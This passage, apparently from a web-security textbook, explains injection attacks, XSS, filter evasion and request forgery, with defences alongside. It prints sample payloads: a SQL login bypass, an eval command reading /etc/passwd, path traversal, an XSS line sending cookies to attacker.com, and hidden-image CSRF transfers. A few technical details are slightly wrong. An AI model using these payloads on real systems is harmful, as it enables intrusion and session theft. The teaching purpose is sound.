Databases are structured collections of data, modeling aspects of the real world. While many types exist (e.g., relational, NoSQL, graph), relational databases are the most common target for SQL injections. Data in relational databases is organized into tables, with rows representing individual records and columns defining the fields or attributes. SQL (Structured Query Language) is the standard language for managing and manipulating data in these databases.

Authentication Bypass. User authentication often relies on checking credentials against a database. A vulnerable application might construct an authentication query by directly concatenating user input into the SQL string. Consider a login attempt where the username is `Markus` and the password is `secret` . A typical, vulnerable query structure might look like this:

SQL

```sql
SELECT * FROM users WHERE username='Markus' AND password='secret'
```

The danger lies in the fact that the application is executing a single, constructed string that contains both the fixed query logic and the user-controlled data. If an attacker inserts characters that have special meaning in SQL (like a single quote `'`), they can break out of the intended data field and inject their own SQL syntax, which the database interpreter will execute. A common goal in SQL is authentication bypass, often achieved using the `OR 1 = 1` trick:

(1) *Attacker Input*: The attacker enters a specially crafted string into the password field, such as: `'OR 1 = 1 -'` .

(2) *Resulting Query*: The application constructs the final SQL statement, which becomes:

SQL

```sql
SELECT * FROM users WHERE username='Markus' AND password='' OR 1 = 1 --'
```

(3) *Database Interpretation*: The first single quote closes the opening quote for the password field. The `OR 1 = 1` is injected into the query logic. Since `1 = 1` is always true, the entire `WHERE` clause condition new evaluates to true. The `-` is a SQL comment operator. It tells the database to ignore all subsequent text in the query string, which effectively nullifies the final closing single quote and any other trailing query components, preventing a syntax error.

Because the `WHERE` condition is universally true, the query returns the record for the specified user without needing the correct password, thus successfully logging the attacker in.

Second Order SQL Injection. Protecting against SQL Injection often involves input validation and sanitization, such as escaping single quotes (e.g., turning `’` into `"`). However, if this validation is applied only at the initial entry point, a vulnerability known as Second-Order SQL Injection can occur. In this attack, the malicious payload is stored by the application in the database during an initial, non-exploitable transaction. When the application executes a second query at a later time, retrieving and using this stored, unsanitized value, the attack is triggered.

(1) *First Query*: A user changes their display name to a payload like `MarkO’ Evil`. The application may correctly escape the quote before storing it, resulting in `MarkO" Evil` in the database.

(2) *Second Query*: A separate administrative function later executes a query that retrieves and uses this stored data without applying sanitization. If the stored value is `MarkO’ Evil`, a query like the following will break the SQL syntax and potentially allow the attacker to inject their code:

SQL
```sql
SELECT report_data FROM logs WHERE user_name='MarkO' Evil'
```

Blind SQL Injection. Blind SQL Injection occurs when the attacker does not receive direct feedback from the database execution. Instead of seeing results, the attacker must infer the database structure and data by observing the application’s behavior or response time to various injected conditions.

Defending Against SQL Injection. The most effective and fundamental defense against SQL Injection is the use of parametrized queries, also known as Prepared Statements. This defensive approach enforces a strict separation between the SQL query structure and the user-supplied data.

(1) *Preparation*: The application first sends a template of the SQL query to the database, where the position for user input are replaced with placeholders.

(2) *Execution*: The application then sends the user input to the database separately as a parameter.

(3) *Database Handling*: The database API is designed to treat the data in the parameter exclusively as a literal string value, never as executable SQL code. This means any embedded quotes or special SQL syntax in the user input are automatically neutralized, preventing the malicious code from breaking the original query structure.

This technique prevents the attacker from modifying the query’s intent, regardless of what they submit.

4.2 Command Injection

Command Injection is a vulnerability that allows an attacker to execute arbitrary operating system commands on the host server. This flaw arises when a web application incorporates unvalidated user inputs directly into functions that are designed to execute system-level commands or shell commands. Many web applications, particularly those written in interpreted languages like PHP, use system-related APIs or functions to interact with the underlying OS. If an attacker can inject special shell characters into the user input, they can effectively terminate the intended command and append an arbitrary command for execution.

Example of Command Injection. The `eval()` function in PHP takes a string and executes it as PHP code. I a web page uses an external parameter to construct the code passed to `eval()` , it introduces a high-risk vulnerability.

PHP
```php
$storedsearch = $_GET['storedsearch'];
    eval("$storedsearch;");
```

The attacker exploits the semicolon to separate the intended, harmless statement from their malicious command. The input is URL-encoded.

- *Input*: `/search.php?storedsearch=$search=wahh;%20system('cat%20/etc/passwd')`
- *Server Executes*: `eval("$search=wahh; system('cat /etc/passwd');");`

The database will execute the arbitrary OS command `cat /etc/passwd` , causing the contents of the critical system file to be displayed to the attacker. Attackers initially test for this flaw by submitting common shell characters like `;` or `&` to observe if the application responds with an error or executes the injected command.

Path Traversal. Path Traversal is a distinct but related vulnerability often found in file-handling functionalities. This attack exploits flaws in how an application constructs file paths, allowing the attacker to access files and directories outside of the application's intended root directory. This vulnerability typically occurs when the server uses user-supplied input to specify the name or path of a file to be opened or read.

- *Intended Access URL*: `http://example.com/GetFile.ashx?filename=keira.jpg` The server's code expects to open `keira.jpg` within the secure file store directly.
- *Path Traversal Attack*: The attacker injects the directory traversal sequence `../` , which means "go up one directory level". By chaining multiple of these sequences, the attacker attempts to navigate upward in the file system hierarchy until they reach the root directory. From there, they specify the path to a sensitive system file, such as `/etc/passwd` .

If the server fails to sanitize the `filename` parameter by stripping or resolving the `../` sequences, it will execute the instruction to read the contents of the `/etc/passwd` file and display it.

PHP Code Injection. Code Injection is a variation of injection attacks where the attacker injects and executes arbitrary programming language code rather than OS commands. This is highly common in PHP due to functions like `eval()` . The vulnerability occurs when a code evaluation function's content can be partially or fully controlled by the user. This often leads to maximum impact, as the injected code executes with the same privileges as the application itself.

PHP
```php
eval("\$$user = '$regdate'");
```

The code above is intended to dynamically create a variable named after the content of `$user` (e.g., if $user is `username`), the resulting code is `eval("$username = 'date'")` . The attacker controls this variable and injects a payload that includes PHP syntax separators (`;`). The server concatenates the string and executes:

```php
eval("\$x = 'y';phpinfo();// = '$regdate'");
```

The semicolon successfully terminates the intended statement and allows the insertion of the malicious code: `phpinfo()` . The double forward slash comments out the remaining, syntactically-incorrect portion of the original string, preventing a parse error. The function `phpinfo()` then executes, leaking extensive configuration and sensitive details about the PHP environment.

4.3 Server-Side Template Injection

Server-Side Template Injection (SSTI) is a critical vulnerability that occurs when user-supplied input is insecurely processed and rendered directly within a server-side template engine. Template engines are a vital part of modern web applications, separating application logic from presentation. They facilitate the creation of dynamic HTML pages by combining static content with dynamic data. The core components involved are:

- *Data Source*: The dynamic data (e.g., username, product list) provided by the application logic.
- *Web Template*: The file or string containing the static HTML structure and placeholders for dynamic data.
- *Template Engine*: The server-side software (e.g., Jinja2, Twig, Velocity) that combines the data source with the web template to generate the final output sent to the user's browser.

Template engines are a fundamental feature of many popular web frameworks, such as Django and Flask.

Example of Vulnerable Code. SSTI arises when the web application constructs a template by concatenating unsanitized user input directly into the template definition string, and then instructs the template engine to parse that newly created string. The security flaw is evident in how the `user_input` is merged directly into the template string before rendering.

```python
user_input = request.form['username']
# Insecure: User input is inserted directly into the template structure
template = "<html><h1>Welcome, %s!</h1></html>" % user_input
return render_template_string(template)
```

If an attacker enters a template expression, such as `{{7*7}}` , as the username, the template engine will interpret it, perform the calculation, and render "Welcome, 49!" instead of the literal input string.
SSTI can be exploited because template languages are designed to handle complex logic, including functions, object manipulation, and sometimes, direct access to the underlying programming language's objects and methods. The fundamental steps for exploitation are:

(1) *Detection*: Identifying the vulnerability by testing basic template expressions (e.g., `${7*7}` , `{{7*7}}` , `<%= 7*7 %>`).
(2) *Engine Identification*: Determining the specific template engine and its version, as this dictates the exact syntax and objects available for exploitation.
(3) *Exploit Crafting*: Constructing a payload to execute commands. This is often achieved by abusing features that allow navigation through the host language's object inheritance chain (e.g., in Python's Jinja2, using special objects like `__globals__`) to access system libraries and execute operating system commands.

The final impact of a successful SSTI exploit is typically Remote Code Execution (RCE), allowing an attacker to execute arbitrary commands on the web server itself.

Cross-Site Scripting

Injection attacks are generally considered server-side attacks, aiming to compromise the web server to steal data or execute malicious code within its environment. When it's not possible to compromise the application server-side, attackers may shift their focus to targeting other users of the application.

5.1 XSS

Cross-Site Scripting (XSS) describes a class of attack techniques where an attacker injects a malicious script into a trusted website. When a user visits the compromised page, their web browser executes this script. The attack exploits a vulnerability in the web application itself, often related to how it handles user-supplied data, rather than directly compromising the server's operating system. There are three major classifications of XSS: Reflected, Stored, and DOM-based.

Reflected XSS. Reflected XSS is a non-persistent attack where the malicious script is "reflected" off the web server and executed in the victim's browser. The primary goal is often to steal the user's session, typically by capturing their session cookie. How it works:

(1) *Vulnerability*: A web application might be vulnerable if it includes user-supplied input directly in the HTTP response without proper sanitization. Imagine a search function that displays the search term back to the user on the results page.

(2) *Attacker's Payload*: The attacker crafts a URL containing a malicious script as part of a parameter. For example: `http://example.com/search?q=<script>alert(1)</script>` .

(3) *Luring the Victim*: The attacker then sends this specially crafted URL to a victim, perhaps via email, a malicious link on another website, or a chat message.

(4) *Reflection and Execution*: When the victim clicks the link, their browser sends a request to `example.com` . The vulnerable web application takes the `q` parameter's value and reflects it directly back into the HTML of the search results page. The victim's browser receives the page and, seeing valid JavaScript within `<script>` tags, executes it.

The `alert(1)` example demonstrates script execution, but a more impactful attack involves stealing the victim's session cookie.

(1) *Attacker's Payload*: The attacker crafts a URL like: `http://example.com/search?query=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>`

(2) *Luring and Execution*:
- The victim clicks this link.
- The vulnerable application reflects the script into the page.
- The victim's browser executes this script.
- `document.cookie` accesses the victim's session cookie for `example.com` .
- `document.location='http://attacker.com/steal?cookie='+...` redirects the victim's browser to the attacker's server, appending the stolen cookie to the URL as parameter.

(3) *Session Hijacking*: The attacker's web page (`attacker.com`) receives the request containing the victim's cookie. With this cookie, the attacker can then use it to impersonate the victim and hijack their session on `example.com` without needing their username or password. This allows the attacker to access the victim's account and perform actions as them.

Stored XSS. In a Stored XSS attack, the objective is to persistently inject a malicious script into a web application's data storage, so that it's delivered to and executed by multiple users over time. This type of attack is particularly potent in applications that allow user interaction and publicly display the input, such as comment sections, user profiles, forums, or review pages. The attack typically unfolds as follows:

(1) *Injection*: The attacker submits a comment, post, or other input containing a malicious script.
(2) *Storage*: The vulnerable web application stores this input without proper sanitization in its persistent data store.
(3) *Delivery*: A victim user logs in and navigates to the compromised page (e.g., the comment thread).
(4) *Execution*: The server responds by retrieving the attacker's script from the database and including it directly in the HTML sent to the victim's browser.
(5) *Compromise*: The script executes in the victim's browser, enabling the attacker to steal the victim's session token or perform other malicious actions, ultimately allowing the attacker to hijack the user's session.

DOM-based XSS. DOM-based XSS (Document Object Model-based XSS) is unique because the vulnerability and execution occur entirely on the client-side. The script is executed when the client-side code dynamically processes user-supplied data in an unsafe manner, often manipulating the structure and content of the page (the DOM). The server is typically not involved in processing the malicious payload. This attack exploits the fact that the page's visualization and behavior are often generated or modified by client-side JavaScript code. The attack steps often look like this:

(1) *Luring*: The attacker feeds a crafted URL to the user. The malicious payload is usually contained within the URL fragment or a query string.
(2) *Request*: The user requests the URL from the server.
(3) *Response*: The server responds with a page containing legitimate client-side JavaScript code that is designed to read data from the URL to dynamically update a part of the page.
(4) *Vulnerability Triggered*: The client-side JavaScript processes the attacker's URL parameter unsafely, inserting the malicious payload into the DOM.
(5) *Execution*: The attacker's script is executed by the browser due to the client-side processing, enabling the theft of the user's session token or other client-side actions.
(6) *Hijacking*: The victim's browser sends the session token to the attacker, allowing the attacker to hijack the user's session.

5.2 Anti-XSS Filters and Evasion

Web applications and browsers often implement Anti-XSS filters designed to prevent the execution of malicious scripts. These filters operate by sanitizing or blocking dangerous input. Typical filtering actions include:

- *Sanitization*: Replacing sensitive tags like `<script>` with harmless text (e.g., changing it to `&lt;script&gt;`).

- *Removal/Replacement*: Eliminating or replacing characters critical to script execution, such as angle brackets, quotation marks, or event handlers (`onload` , `onerror`).

Evasion and Obfuscation. When faced with filters, the attacker's primary strategy is to test numerous payloads until a variant is discovered that bypasses the specific security controls. This process of creating hard-to-detect malicious payloads is broadly known as obfuscation. JavaScript is particularly susceptible to obfuscation due to its flexible, dynamic nature. Obfuscation techniques use built-in JavaScript functions to hide the true nature of the code until it is executed by the browser, effectively hiding the script from the static filters. Three common obfuscation methods are:

- `eval()` : This function is highly dangerous as it dynamically interprets a string as executable code. An attacker can hide their malicious payload within a complex, non-obvious string that only `eval()` can resolve and execute.
- `unescape()` / `decodeURI()` / `decodeURIComponent()` : These functions are used to replace hexadecimal, octal, or URL-encoded characters with their original equivalents. This allows the attacker to encode the entire payload, so it appears harmless to a filter, and then rely on the victim's browser to decode and execute it.
- `String.prototype.replace()` : This can be used repeatedly to substitute benign or fragmented strings into dangerous keywords. For example, replacing a variable placeholder with the word "script" right before execution.

An attacker might want to inject `<script>alert(1)</script>` . To bypass a filter blocking the word "script", they can use encoding and `eval()` .
The encoded payload is `eval(unescape(%3C%73%63...%70%74%3E'))` . This filter sees a string of seemingly random characters. When executed by the browser, `unescape()` converts the string back into the original dangerous JavaScript code. `eval()` then executes the resulting string, triggering the alert.

5.3 Preventing Cross-Site Scripting

Effective protection against XSS requires a layered approach across the application lifecycle. There are three primary levels of prevention:

(1) *Input Validation*: This occurs when data is initially received by the server. It involves ensuring that the data is the correct type and length. While often useful for general security, relying solely on input validation for XSS is risky, as determined attackers can often find ways around filters. Key methods include:
   - Length Checks: Ensuring data is not excessively long.
   - Sanitization: Removing or filtering potentially malicious code fragments (though this is better handled by encoding at the output stage).
   - Regular Expressions: Checking the format of the input against expected patterns (e.g., ensuring a username only contains letters and numbers).

(2) *Output Encoding*: This is the most crucial defense. It involves treating user-supplied data as data, not executable code, before rendering it on the page. Using HTML encoding ensures that dangerous characters are replaced with their harmless entity equivalents.

(3) *Avoiding Dangerous Insertion Points*: Applications should never insert user-supplied input directly into an already existing sensitive context, such as within a `<script>` block, an event handler (`onload`), or an `href` attribute without strict and specific context-aware encoding. This is particularly relevant for DOM-based XSS, where client-side code must be structured to only treat input as data.

Request Forgery Attacks. Request forgery attacks leverage the victim's authenticated session to trick them into executing unauthorized actions.
On-Site Request Forgery (OSRF) involves a malicious action initiated from a script or link on the same vulnerable website. The core idea is that the attacker finds a vulnerability on the web application itself that allows them to trick an authenticated user into generating an unexpected request. Because the request originates from the same site, all the necessary cookies and session tokens are automatically included. Suppose a vulnerable application (`example.com`) allows a profile picture change via a simple GET request: `http://example.com/profile/change_pic?url=user_uploaded_pic.jpg`. An attacker finds that this URL can be embedded in an image tag on a comment section on the same site:

- *Attacker's Payload (in a comment)*: `<img src="http://example.com/profile/change_pic?url=http://attacker.com/malware.jpg" width="0" height="0">`
- *Execution*: When an authenticated victim (who is already logged into `example.com`) views the malicious comment, their browser automatically attempts to load the invisible image. This hidden request hits the server as: `GET /profile/change_pic?url=http://attacker.com/malware.jpg`.
- *Result*: The application, believing the request is legitimate because it came from an authenticated user on its own domain, changes the victim's profile picture to one controlled by the attacker.

Cross-Site Request Forgery (CSRF) is a more common and classic attack where an attacker tricks a victim into sending a legitimate request to a vulnerable web application from a different, external domain. The concept is similar to OSRF, but the source of the malicious request is an attacker-controlled page, not the vulnerable site itself. Suppose a banking application, `bank.com` , allows money transfer via a simple GET request: `https://bank.com/transfer?account=attacker_account&amount=1000`:

(1) *Attacker Action*: The attacker creates a fake webpage `attacker.com/malicious.html` containing an invisible element that targets the bank's action URL: `<img src="https://bank.com/transfer?account=attacker_account&amount=1000" width="0" height="0">`.
(2) *Luring the Victim*: The attacker sends the link to this malicious page to the victim.
(3) *Execution*: The victim, who is logged into `bank.com` in another tab, visits the malicious website. The victim's browser attempts to load the invisible image, sending a request to `bank.com` . Crucially, because the victim is logged in, their browser automatically includes the session cookie with the request.
(4) *Result*: `bank.com` receives what appears to be a legitimate, authenticated request from the user and executes the transfer of $1000 to the attacker's account.